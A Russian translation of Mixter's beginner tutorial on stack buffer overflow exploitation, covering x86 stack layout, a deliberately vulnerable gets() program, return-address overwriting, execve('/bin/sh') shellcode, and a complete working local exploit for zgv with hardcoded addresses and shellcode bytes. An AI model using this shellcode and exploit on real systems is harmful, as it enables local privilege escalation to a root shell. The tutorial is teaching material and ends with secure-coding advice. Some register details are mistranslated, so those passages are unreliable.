Написание эксплойтов переполнения буфера - туториал для новичков

Дата публикации 11 мар 2005

Написание эксплойтов переполнения буфера - туториал для новичков — Архив WASM.RU

Переполнение в буфферах стало одной из наиогромнейших проблем безопасности в сети Интернет и в современном компьютерном мире в целом. Это объясняется тем, что подобные ошибки могут легко быть допущены при самом программировании и будучи незаметными для юзера, который не понимает или не совсем разбирается в исходном коде программы, они являются очень подходящей целью для написания эксплойта. В этой статье мы попытаемся показать новичкам - Си программерам средней руки каким образом эти ошибки могут быть применены.

1. Память

На заметку: Принцип организации памяти для процессора, который я здесь объясняю, подходит для большинства компьютеров, однако он зависит от конкретной архитектуры.

В своей статье я опираюсь на семейство x86 процессоров.

Уязвимость переполнения буффера характеризуется двумя основными чертами:

  1. возможностью перезаписывания этого куска памяти своим кодом ('кодом эксплойта' - прим. переводчика), который даже и не предполагается, что юзер введет во время ввода, и
  2. возможностью запуска этого вредного кода.

Давайте обратимся к организации памяти для того чтобы понять, как и где может произойти ошибка переполнения буффера.

Страница памяти - это область памяти, которая использует свою собственную относительную адресацию, обозначающая то что Кернел выделяет инициализируемую память для текущего процесса, который в дальнейшем может к ней обратиться даже не имея понятия о ее физическом расположении в RAM. Страница памяти процесса(программы) состоит из 3х сегментов:

  • code segment: данные в этом сегменте представляют собой ассемблерные инструкции, которые выполняет процессор. Выполнение кода нелинейно, т.к. процессор может пропускать код, 'перепрыгивать его' и выполнять функции при определенных условиях. таким образом, у нас есть указатель, называемый EIP - указатель на текущую инструкцию. Адрес, на который указывает EIP всегда содержит код следующей выполняемой инструкции.
  • data segment: область переменных и динамических буфферов.
  • stack segment: используется как для передачи данных (аргументов) функциям, так и в качестве области для переменных самих функций. Низ стека (его начало) обычно расположен в самом конце виртуальной памяти страницы. Стек растет опускаясь вниз.

Ассемблерная команда PUSHL добавляет значение в вверхушку стека, а POPL забирает одно значение с верхушки стека и переносит его в регистр. Для доступа к памяти стека напрямую имеется указатель на стек EIP, который указывает на верхушку (самые нижние адреса памяти) стека.

2. Функции

Функция - это кусок кода в сегменте кода, который вызывается для выполнения определенных действий и в конце концов возвращается к инструкции следующей за его вызовом. Функции могут передаваться аргументы. В ассемблере обычно это выглядит примерно так (очень простой пример, просто для понятия самой идеи):

Код (Text):
  1.  
  2. memory address      code
  3. 0x8054321 <main+x>    pushl $0x0
  4. 0x8054322       call $0x80543a0 <function>
  5. 0x8054327       ret
  6. 0x8054328       leave
  7. ...
  8. 0x80543a0 <function>  popl %eax
  9. 0x80543a1       addl $0x1337,%eax
  10. 0x80543a4       ret

Что здесь происходит? Главная процедура (функция) main function вызывает функцию function(0). В качестве аргумента выступает нуль, который main function забрасывает в стек через PUSHL и затем вызывает function(0). Функция получает этот аргумент из стека через POPL. После завершения своей работы она возвращается на адрес 0x8054327. Обычно main function всегда сохраняет регистр EBP в стеке, который содержит функция и восстанавливает его после своего завершения. Это концепция фреймового указателя (frame pointer), которая позволяет функции использовать свои собственные смещения для адресации, являющиеся в большинстве своих случаев неинтересными для написания эксплойтов, потому что функция может и не возвратититься к ветке программы, в которой она была вызвана. :smile3:

Нам всего лишь нужно иметь представление о том, что представляет из себя стек. В верхушке стека мы имеем внутренние буфферы и переменные функции. Кроме этого сюда же сохраняется и регистр EBP (32 бита, т.е. 4 байта), а также адрес возврата, который опять таки составляет 4 байта. Двигаясь дальше расположены аргументы функции, которые для нас не представляют большого интереса.

В нашем примере адрес возврата функции 0x8054327. Он автоматически сохраняется в стеке при ее вызове. Этот адрес возврата может быть перезаписан поверх и изменен таким образом, чтобы указывать на какую только нам не заблагорассудится ячейку памяти, если, конечно же, в этом коде будет найдена ошибка переполнения.

3. Пример уязвимой программы

Давайте предположим, что мы хотим найти уязвимость в такой вот функции:

Код (Text):
  1.  
  2. void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
  3. main() { lame (); return 0; }
компилируем и дизассемблируем ее:

Код (Text):
  1.  
  2. # cc -ggdb blah.c -o blah
  3. /tmp/cca017401.o: в  функции `lame':
  4. /root/blah.c:1: си-шная функция `gets' опасна и к ней не следует
  5.                 обращаться.
  6. # gdb blah
  7. /* краткое объяснение: здесь применяется gdb, GNU дебаггер для чтения
  8. бинарника и    его дизассемблирования (перевода байтов в ассемблерный
  9. код) */
  10. (gdb) disas main
  11. Ассемблерный дамп функции main:
  12. 0x80484c8 <main>:       pushl  %ebp
  13. 0x80484c9 <main+1>:     movl   %esp,%ebp
  14. 0x80484cb <main+3>:     call   0x80484a0 <lame>
  15. 0x80484d0 <main+8>:     leave
  16. 0x80484d1 <main+9>:     ret
  17.  
  18. (gdb) disas lame
  19. Ассемблерный дамп функции lame:
  20. /* сохраняем фрейм пойнтер в стеке прямо перед адресом возврата */
  21. 0x80484a0 <lame>:       pushl  %ebp
  22. 0x80484a1 <lame+1>:     movl   %esp,%ebp
  23. /* увеличиваем стек на 20h (32d). наш буффер - 30 символов, но память
  24. выделяется с 4хбайтным выравниванием (т.к. процессор использует
  25. 32хбитные слова) это эквивалентно строчке char small[30]; */
  26. 0x80484a3 <lame+3>:     subl   $0x20,%esp
  27. /* загружаем указатель на small[30] (пространство стека, которое
  28. расположено в виртуальном адресе  0xffffffe0(%ebp)) стека, и
  29. вызываем функцию gets: gets(small); */
  30. 0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
  31. 0x80484a9 <lame+9>:     pushl  %eax
  32. 0x80484aa <lame+10>:    call   0x80483ec <gets>
  33. 0x80484af <lame+15>:    addl   $0x4,%esp
  34. /* загружаем адрес small и адрес строки "%s\n" в стек и затем
  35. вызывает функцию print: printf("%s\n", small); */
  36. 0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
  37. 0x80484b5 <lame+21>:    pushl  %eax
  38. 0x80484b6 <lame+22>:    pushl  $0x804852c
  39. 0x80484bb <lame+27>:    call   0x80483dc <printf>
  40. 0x80484c0 <lame+32>:    addl   $0x8,%esp
  41. /* берем адрес возврата 0x80484d0 со стека и передаем управление
  42. на этот адрес*/
  43. 0x80484c3 <lame+35>:    leave
  44. 0x80484c4 <lame+36>:    ret
  45. конец дампа.

3a. Осуществление ошибки переполнения в программе

Код (Text):
  1.  
  2. # ./blah
  3. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx      <- ввод пользователя
  4. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  5. # ./blah
  6. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- ввод пользователя
  7. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  8. Segmentation fault (core dumped)
  9. # gdb blah core
  10. (gdb) info registers
  11.      eax:       0x24          36
  12.      ecx:  0x804852f   134513967
  13.      edx:        0x1           1
  14.      ebx:   0x11a3c8     1156040
  15.      esp: 0xbffffdb8 -1073742408
  16.      ebp:   0x787878     7895160
  17.               ^^^^^^

В EBP находится адрес 0x787878, это значит что мы записали больше данных в стек, чем буффер ввода мог вмещать. 0x78 - это шестнадцатеричное представление символа 'x'. Программа имела буффер с ограничением в 32 байта. Мы же записали больше данных в память чем было выделено для ввода юзера и ,таким образом, перезаписали EBP и адрес возврата символами 'xxxx'. Программа попыталась возвратиться на адрес 0x787878, что, конечно же, привело к ошибке сегментации.

3b. Изменение адреса возврата

Давйте попробуем сделать так, чтобы программа возвратилась в функцию lame() вместо своего return'а. Для этого нам нужно поменять адрес возврата с 0x80484d0 на 0x80484cb и это все. В памяти у нас есть: 32 байта для буффера | 4 байта под сохраненный EBP | 4 байта RET. Вот пример простой программы, которая помещает четырехбайтный адрес возврата в однобайтный буффер:

Код (Text):
  1.  
  2. main()
  3. {
  4. int i=0; char buf[44];
  5. for (i=0;i<=40;i+=4)
  6. *(long *) &buf[i] = 0x80484cb;
  7. puts(buf);
  8. }
  9. # ret
  10. ЛЛЛЛЛЛЛЛЛЛЛ,
  11.  
  12. # (ret;cat)|./blah
  13. test         <- вводим
  14. ЛЛЛЛЛЛЛЛЛЛЛ,test
  15. test         <- вводим
  16. test

Программа пробежала по функции дважды. Если переполнение произошло, адрес возврата из функции может быть изменен для того чтобы изменить ветку выполнения программы.

4. Шеллкод

Говоря простым языком, шеллкод - это набор простых ассемблерных команд, которые мы записываем в стек и затем изменяем на него адрес возврата. Применяя этот метод мы можем вставить свой код в уязвимую программу и затем выполнить его прямо из стека.

Хм, так давайте сгенерируем вставляемый ассемблерный код для запуска шелла. Главный системный вызов - это execve(), который загружает и запускает любые бинарники, завершает выполнение текущего процесса. В мане находим пример его использования:

Код (Text):
  1.  
  2. int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

Давайте поподробней посмотрим на системный вызов из glibc2:

Код (Text):
  1.  
  2. # gdb /lib/libc.so.6
  3. (gdb) disas execve
  4. Дамп функции execve:
  5. 0x5da00 <execve>:       pushl  %ebx
  6. /*это актуальный syscall. перед обращения программы к execve,
  7. он сохраняет в стеке аргументы в обратном порядке:  
  8. **envp, **argv, *filename */
  9. /* кладём адрес **envp в edx */
  10. 0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
  11. /* кладём адрес **argv в ecx */
  12. 0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
  13. /* кладём адрес *filename'а в ebx */
  14. 0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
  15. /* кладём 0xb в eax; 0xb == execve в внутреннем вызове таблицы вызова */
  16. 0x5da0d <execve+13>:    movl   $0xb,%eax
  17. /* отдаем контроль кернелу для выполнения инструкции execve */
  18. 0x5da12 <execve+18>:    int    $0x80
  19. 0x5da14 <execve+20>:    popl   %ebx
  20. 0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
  21. 0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
  22. 0x5da1c <execve+28>:    ret
  23. конец дампа.

4a. портируемость кода

Мы можем применить пару хитростей чтобы сделать наш шеллкод не ссылаясь на аргументы в памяти как обычно, передавая их точные адреса в странице памяти, которые могут быть получены только во время компиляции.

Единственное, что мы можем оценить - это размер шеллкода. Для этого мы можем обратиться к инструкциям jmp <bytes> и call <bytes> чтобы перейти к определенному числу байтов назад или вперед в исполняемом процессе (программе). Зачем использовать call? Вспомните, что CALL автоматически сохраняет адрес возврата в стеке; адресом возврата являются следующие 4 байта после самой инструкции CALL. Помещая переменную прямо за CALL'ом, мы не напрямую сохраняем ее адрес в стеке даже не зная его.

Код (Text):
  1.  
  2. 0   jmp &lt;Z&gt;     (пропустим Z bytes по направлению вперед)
  3. 2   popl %esi
  4. ... впишем сюда нашу(и) функцию(и) ...
  5. Z   call &lt;-Z+2&gt; (вернемся на 2 байта после &lt;Z&gt;, к инструкции POPL)
  6. Z+5 .string     (первая переменная)

(Учтите: Если вы собираетесь писать код более сложный чем код для получения шелла, вам следует передать больше чем одну переменную .string после кода. Вы знаете размер этих строк и вы таким образом можете вычислить их относительное расположение после того как вы узнаете где находится первая строчка.)

4b. шеллкод

Код (Text):
  1.  
  2. global code_start             /* нам понадобится это чуть позже */
  3. global code_end
  4.     .data
  5. code_start:
  6.     jmp  0x17
  7.     popl %esi
  8.     movl %esi,0x8(%esi)   /* положим адрес **argv после шеллкода
  9.                    на 0x8 байт, чтобы сохранить /bin/sh */
  10.     xorl %eax,%eax        /* помещаем 0 в %eax */
  11.     movb %eax,0x7(%esi)   /* помещаем 'завершающий' 0 после '/bin/sh' строчки */
  12.     movl %eax,0xc(%esi)   /* другой 0 для получения размера long word */
  13. my_execve:
  14.     movb $0xb,%al       /* execve(         */
  15.     movl %esi,%ebx      /* "/bin/sh",      */
  16.     leal 0x8(%esi),%ecx /* & of "/bin/sh", */
  17.     xorl %edx,%edx      /* NULL        */
  18.     int $0x80       /* );          */
  19.     call -0x1c
  20.     .string "/bin/shX"  /* X перезаписан movb %eax,0x7(%esi) */
  21. code_end:

(Относительные смещения 0x17 и -0x1c можно получить при помощи помещения в 0x0, компилирования, дизассемблированием и определения размера шеллкода.)

Это уже работающий шеллкод, хотя и минимальный. Вам следует по крайней мере продизассемблировать системный вызов exit() и присоединить его (перед 'call'ом).

Настоящее искусство написания шеллкода также состоит в предотвращении попадания 'бинарных' нулей в код (очень часто применяемых для обозначения завершения ввода/буффера) и модифицировании кода таким образом чтобы его бинарная форма не содержала символы, которые могут быть отфильтрованы какими-нибудь уязвимыми программами. БОльшая часть этой работы выполняется самомодифицирующимся кодом, похожим на тот, что был у нас в инструкции movb %eax,0x7(%esi). Мы заместили X нашим \0 не имея его в исходной форме шеллкода...

Давайте протестируем этот код...сохраните код выше как code.S (убейте комментсы) и сл. файл как code.c:

Код (Text):
  1.  
  2. extern void code_start();
  3. extern void code_end();
  4. #include &lt;stdio.h&gt;
  5. main() { ((void (*)(void)) code_start)(); }
  6.  
  7. # cc -o code code.S code.c
  8. # ./code
  9. bash#

Теперь Вы можете конвертировать этот код в буффер 16иричных символов. Лучше всего сделать это, напечатав что-то вроде этого:

Код (Text):
  1.  
  2. #include &lt;stdio.h&gt;
  3. extern void code_start(); extern void code_end();
  4. main() { fprintf(stderr,"%s",code_start); }

и пропарсить это через aconv -h or bin2c.pl (эти тулзы можно взять здесь:http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity)

5. Написание эксплойта

Давайте взглянем на то, каким образом мы можем подменить адрес возврата чтобы он указывал на наш шеллкод помещенный в стек и затем напишем пример эксплойта. Мы возьмем zgv, т.к. он - очень простая штуковина, подверженная эксплойтингу. :smile3:

Код (Text):
  1.  
  2. # export HOME=`perl -e 'printf "a" x 2000'`
  3. # zgv
  4. Segmentation fault (core dumped)
  5. # gdb /usr/bin/zgv core
  6. #0  0x61616161 in ?? ()
  7. (gdb) info register esp
  8.      esp: 0xbffff574 -1073744524

Чтож, это верхушка стека во время крушения. Безопасно предположить, что мы можем использовать его в качестве адреса возврата на наш шеллкод.

Мы добавим несколько NOP инструкций перед нашим буффером, т.к. мы не можем полностью быть уверенными в 100%-ной корректности угадывания адреса точного начала нашего шеллкода в памяти (или даже пробрутфорсив его). Функция возвратится в стековое пространство куда-то после шеллкода, пробежится поо NOP'ам к начальному JMP'у, прыгнет на CALL, прыгнет назад к POPL и запустит наш код в стеке.

Помните что такое стек: нижние адреса памяти, верхушка с указанием на нее ESP, начальные переменные и буфер в zgv, который содержит переменную HOME environment.

После этого мы имеем сохраненный EBP (4 байта) и адрес возврата предыдущей инструкции. Мы должны записать 8 байт или больше после буффера для того чтобы перезаписать адрес возврата своим новым адресом в стеке.

Буффер у zgv - 1024 байта. Вы можете выяснить это глянув на код или просто поискав начальную инструкцию subl $0x400,%esp (=1024) в уязвимой функции. Сейчас мы соединим все эти части вместе:

5a. Sample zgv exploit

Код (Text):
  1.  
  2. /*                   zgv v3.0 exploit by Mixter
  3.           buffer overflow tutorial - http://1337.tsx.org
  4.  
  5.         sample exploit, works for example with precompiled
  6.     redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */
  7.  
  8. #include &lt;stdio.h&gt;
  9. #include &lt;unistd.h&gt;
  10. #include &lt;stdlib.h&gt;
  11.  
  12. /* This is the minimal shellcode from the tutorial */
  13. static char shellcode[]=
  14. "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
  15. "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
  16.  
  17. #define NOP     0x90
  18. #define LEN     1032
  19. #define RET     0xbffff574
  20.  
  21. int main()
  22. {
  23. char buffer[LEN];
  24. long retaddr = RET;
  25. int i;
  26.  
  27. fprintf(stderr,"using address 0x%lx\n",retaddr);
  28.  
  29. /* this fills the whole buffer with the return address, see 3b) */
  30. for (i=0;i&lt;LEN;i+=4)
  31.    *(long *)&buffer[i] = retaddr;
  32.  
  33. /* this fills the initial buffer with NOP's, 100 chars less than the
  34.    buffer size, so the shellcode and return address fits in comfortably */
  35. for (i=0;i&lt;(LEN-strlen(shellcode)-100);i++)
  36.    *(buffer+i) = NOP;
  37.  
  38. /* after the end of the NOPs, we copy in the execve() shellcode */
  39. memcpy(buffer+i,shellcode,strlen(shellcode));
  40.  
  41. /* export the variable, run zgv */
  42.  
  43. setenv("HOME", buffer, 1);
  44. execlp("zgv","zgv",NULL);
  45. return 0;
  46. }
  47.  
  48. /* EOF */

Теперь у нас есть строка вида:

Код (Text):
  1.  
  2. [ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]

В то время как стэк zgv'а выглядит так:

Код (Text):
  1.  
  2. v-- 0xbffff574 is here
  3. [     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]

Выполняющаяся ветка zgv сейчас выглядит так:

Код (Text):
  1. main ... -&gt; function() -&gt; strcpy(smallbuffer,getenv("HOME"));

В этом месте zgv падает и не делает проверку на лимит, пишет за SMALLBUFFER'ом и адрес возврата в main перезаписывается адресом возврата в стэк. Функция function() возвращается и EIP теперь указывает на стэк:

Код (Text):
  1.  
  2. 0xbffff574 nop
  3. 0xbffff575 nop
  4. 0xbffff576 nop
  5. 0xbffff577 jmp $0x24                     1
  6. 0xbffff579 popl %esi          3 &lt;--\     |
  7. [... здесь стартует шеллкод ...]    |    |
  8. 0xbffff59b call -$0x1c             2 &lt;--/
  9. 0xbffff59e .string "/bin/shX"

Протестируем эксплойт...

Код (Text):
  1.  
  2. # cc -o zgx zgx.c
  3. # ./zgx
  4. используемый адрес: 0xbffff574
  5. bash#

5b. советы по написанию эксплойтов

Существуют другие техники переполнения, которые необязательно включают изменение адреса возврата. Также существуют так называемые переполнения указателей (pointer overflows), в которых указатель, который находится в функции может быть перезаписан, тем самым приводя к изменению логики программы (пример: the RoTShB bind 4.9 exploit), эксплойты, в которых адрес возврата указывает на указатель окружения шелла, в котором расположен шеллкод (вместо своего расположения в стеке).

Другим важным предметом опытных писателей шеллкодов является самомодифицирующийся код, который изначально состоит только из печатных символов, заглавных букв и без пробелов и затем изменяет себя, вписывая в стек свой шеллкод, который он и запускает, итд.

Следите за тем, чтобы ваш шеллкод не содержал 'бинарных' нулей, т.к. в ином случае в большинстве случаев он не будет работать.

5c. окончание

Почему это так важно писать эксплойты? Потому что незнание всезнающе ('интересная мысль' - прим. переводчика) в индустрии софтвэйра. Уже были представлены сообщения об уязвимостях, приводящих к переполнению буфферов в ПО т.к. софт не обновлялся или по причине того, что большинство пользователей не уделяло внимание этим апдейтам или по причине того, что уязвимость было сложно обнаружить и мало кто понимал, что она представляет большую проблему безопасности.

Если Вы - программер, то к своему делу нужно относиться очень серьезно, особенно при написании программ-серверов, программ по безопасности, программ, использующих suid root или написанных для запуска с его привилегиями. Применяйте strn*, sn* функции вместо sprintf итд. Старайтесь применять размещение буфферов динамического или зависящего от ввода размера, будьте осторожны в for/while/и др циклах, в которых данные загоняются в буфферы и относитесь к вводу пользователя с наибольшей осторожностью.

В индустрии по безопасности были предприняты попытки предотвратить проблемы переполнения при помощи использования техник, таких как 'non-executable stack', 'suid wrappers', 'guard programms', которые проверяли адрес возврата, компилеров, проверяющих размер переданных аргументов итд. Вам следует использовать эти техники там где это возможно, но не стоит полностью на них полагаться. Если вы полагаете что вы в полной безопасности, сидя за 2хлетним UNIX дистрибутивом без апдейтов, но используя защиту от переполнения или (что более идиотски) файрвол/IDS, то все это не может уверить вас в полной безопасности.

Если вы регулярно апдейтите софт, вы все еще не можете быть уверены в безопасности, но вы можете уже надеяться:smile3:

(оригинал: Mixter)

(перевод: varnie 25.01.05) © Mixter, пер. varnie


0 3.043
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532